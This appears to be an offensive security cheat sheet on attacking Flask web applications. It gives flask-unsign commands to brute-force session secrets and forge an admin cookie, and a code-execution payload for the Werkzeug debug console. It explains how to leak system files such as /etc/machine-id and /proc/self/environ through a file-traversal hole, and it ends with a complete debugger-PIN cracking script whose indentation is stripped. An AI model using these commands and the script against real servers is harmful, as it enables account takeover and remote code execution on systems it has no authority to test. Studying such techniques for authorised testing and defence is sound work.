Cookies
Default cookie session name is “session”.
Flask-unsign
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
To install it:
1
pip3 install flask-unsign
Decode cookie
1
flask-unsign --decode --cookie '<cookie>'
Brute force secret
1
flask-unsign --unsign --wordlist <wordlist> --cookie '<cookie>' --no-literal-eval
Sign cookie
1
flask-unsign --sign --cookie "{'admin': 'true', 'username': 'admin' }" --secret 'CHANGEME'
Werkzeug
Flask is implemented on Werkzeug and Jinja2.
Werkzeug is a collection of libraries that can be used to create a WSGI (Web Server Gateway Interface) compatible web application in Python. A WSGI (Web Server Gateway Interface) server is necessary for Python web applications since a web server cannot communicate directly with Python.
Console RCE
If debug is active you could try to access to /console and gain RCE.
1
__import__('os').popen('whoami').read();
In some occasions the /console endpoint is going to be protected by a pin. If you have a file traversal vulnerability, you can leak all the necessary info to generate that pin.
Looking at “python3.5/site-packages/werkzeug/debug/init.py”, we can find out how the PIN is generated.
1
2
3
4
5
6
7
8
9
10
11
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
You will need these information:
probably_public_bits
- username: user that started the Flask app. Maybe you can guess looking at “/proc/self/environ”
- modname: is flask.app
- getattr(app, ‘name’, getattr(app.class, ‘name’)): is Flask
- getattr(mod, ‘file’, None): absolute path of “app.py”. Exemple: “/usr/local/lib/python3.5/dist-packages/flask/app.py”. Use the file traversal vulnerability to confirm your path is correct.
private_bits
- uuid.getnode(): MAC address of the current computer. To find it, search which network interface is used to serve the app. You can leak it from “/proc/net/arp”. (Exemple: eth0). Then leak the MAC address from “/sys/class/net/<device id>/address”. You now have to convert from hexadecimal to decimal. Exemple: 56:00:02:7a:23:ac -> print(0x5600027a23ac) -> 94558041547692.
- concatenate the values in “/etc/machine-id” (or “/proc/sys/kernel/random/boot_id” if “/etc/machine-id” does not exist) with the value after the last “/” of the first line of “/proc/self/cgroup”.
Then enter the values in this beautiful code and run it to get the PIN (credits to Hacktricks and BatBato):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#Made with <3 by BatBato
import hashlib
import itertools
from itertools import chain
def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):
h = hashlib.sha1()
crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)
def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):
probably_public_bits = [
username,
modname,
appname,
flaskapp_path ]
private_bits = [
node_uuid,
machine_id ]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
if __name__ == '__main__':
usernames = ['web-app'] # username /proc/self/environ
modnames = ['flask.app']
appnames = ['Flask']
flaskpaths = ['/home/web-app/.local/lib/python3.11/site-packages/flask/app.py']
nodeuuids = ['2485377892359']# str(uuid.getnode()), /proc/net/arp => get device name (ex:eth0) =>/sys/class/net/<device id>/address (ex:56:00:02:7a:23:ac) => print(0x5600027a23ac)
machineids = ['ef4b22e3-e1ed-44b6-a2a3-a2daf63f4019user.slice']# get_machine_id(), /etc/machine-id or /proc/sys/kernel/random/boot_id and the value after the last "/" of the first line of "/proc/self/cgroup".
# Generate all possible combinations of values
combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)
# Iterate over the combinations and call the crack() function for each one
for combo in combinations:
username, modname, appname, flaskpath, nodeuuid, machineid = combo
print('==========================================================================')
crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)
print(f'{combo}')
print('==========================================================================')